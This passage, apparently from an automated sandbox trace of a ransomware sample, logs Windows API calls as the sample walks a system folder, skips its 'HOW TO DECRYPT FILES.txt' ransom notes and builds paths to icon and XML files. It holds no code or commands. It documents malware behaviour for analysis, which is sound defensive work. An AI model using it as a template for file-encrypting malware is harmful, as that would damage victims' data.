ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0092.160] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0092.160] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0092.160] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*.*") returned="*.*" [0092.160] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="en-US" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US" [0092.160] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xfff8afa0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff8afa0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.161] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.161] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xfff8afa0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff8afa0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.161] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.161] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.161] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0092.161] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.161] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HOW TO DECRYPT FILES.txt") returned -1 [0092.161] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HOW TO DECRYPT FILES.txt") returned 0 [0092.161] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x18f3cc, dwReserved1=0x4f0048, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0092.161] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.161] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="resource.xml") returned -1 [0092.161] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="resource.xml") returned -1 [0092.161] lstrcmpiA (lpString1="", lpString2="resource.xml") returned -1 [0092.161] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*.*") returned="*.*" [0092.161] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\" [0092.161] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\") returned="" [0092.161] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\HOW TO DECRYPT FILES.txt" [0092.161] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\how to decrypt files.txt")) returned 0x20 [0092.162] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\", lpString2="resource.xml" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" [0092.162] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x18f3cc, dwReserved1=0x4f0048, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0092.162] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0092.162] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78a2eab, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0092.162] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.163] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="folder.ico") returned -1 [0092.163] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="folder.ico") returned 1 [0092.163] lstrcmpiA (lpString1="", lpString2="folder.ico") returned -1 [0092.163] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*.*") returned="*.*" [0092.163] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" [0092.163] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="" [0092.163] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO DECRYPT FILES.txt" [0092.163] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\how to decrypt files.txt")) returned 0x20 [0092.163] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="folder.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico" [0092.163] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x5c007d, dwReserved1=0x4f0048, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0092.163] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.163] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HOW TO DECRYPT FILES.txt") returned -1 [0092.163] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HOW TO DECRYPT FILES.txt") returned 0 [0092.163] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0eca86, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0eca86, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78c9009, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8, dwReserved0=0x18f51c, dwReserved1=0x4f0048, cFileName="print_pref.ico", cAlternateFileName="")) returned 1 [0092.163] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.164] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="print_pref.ico") returned -1 [0092.164] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="print_pref.ico") returned -1 [0092.164] lstrcmpiA (lpString1="", lpString2="print_pref.ico") returned -1 [0092.164] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico") returned="folder.ico" [0092.164] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" [0092.164] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="" [0092.164] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO DECRYPT FILES.txt" [0092.164] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\how to decrypt files.txt")) returned 0x20 [0092.164] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="print_pref.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico" [0092.164] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0eca86, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0eca86, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78c9009, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xebb8, dwReserved0=0x5c007d, dwReserved1=0x4f0048, cFileName="print_property.ico", cAlternateFileName="")) returned 1 [0092.164] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.164] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="print_property.ico") returned -1 [0092.164] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="print_property.ico") returned -1 [0092.165] lstrcmpiA (lpString1="", lpString2="print_property.ico") returned -1 [0092.165] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico") returned="print_pref.ico" [0092.165] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" [0092.165] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="" [0092.165] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO DECRYPT FILES.txt" [0092.165] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\how to decrypt files.txt")) returned 0x20 [0092.165] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="print_property.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico" [0092.165] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f112be3, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f112be3, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7be8cbf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdff5, dwReserved0=0x5c007d, dwReserved1=0x4f0048, cFileName="print_queue.ico", cAlternateFileName="")) returned 1 [0092.165] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.165] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="print_queue.ico") returned -1 [0092.165] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="print_queue.ico") returned -1 [0092.165] lstrcmpiA (lpString1="", lpString2="print_queue.ico") returned -1 [0092.165] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico") returned="print_property.ico" [0092.165] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" [0092.165] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="" [0092.166] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO DECRYPT FILES.txt" [0092.166] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\how to decrypt files.txt")) returned 0x20 [0092.166] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="print_queue.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico" [0092.166] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f138d40, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f138d40, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c0ee1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xec75, dwReserved0=0x5c007d, dwReserved1=0x4f0048, cFileName="scan_.ico", cAlternateFileName="")) returned 1 [0092.166] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.166] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="scan_.ico") returned -1 [0092.166] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="scan_.ico") returned -1 [0092.166] lstrcmpiA (lpString1="", lpString2="scan_.ico") returned -1 [0092.166] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico") returned="print_queue.ico" [0092.166] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" [0092.166] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="" [0092.166] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO DECRYPT FILES.txt" [0092.166] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\how to decrypt files.txt")) returned 0x20 [0092.167] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="scan_.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico" [0092.167] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c0ee1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10654, dwReserved0=0x5c007d, dwReserved1=0x4f0048, cFileName="scan_property.ico", cAlternateFileName="")) returned 1 [0092.167] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.167] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="scan_property.ico") returned -1 [0092.167] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="scan_property.ico") returned -1 [0092.167] lstrcmpiA (lpString1="", lpString2="scan_property.ico") returned -1 [0092.167] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico") returned="scan_.ico" [0092.167] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" [0092.167] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="" [0092.167] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO DECRYPT FILES.txt" [0092.167] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device 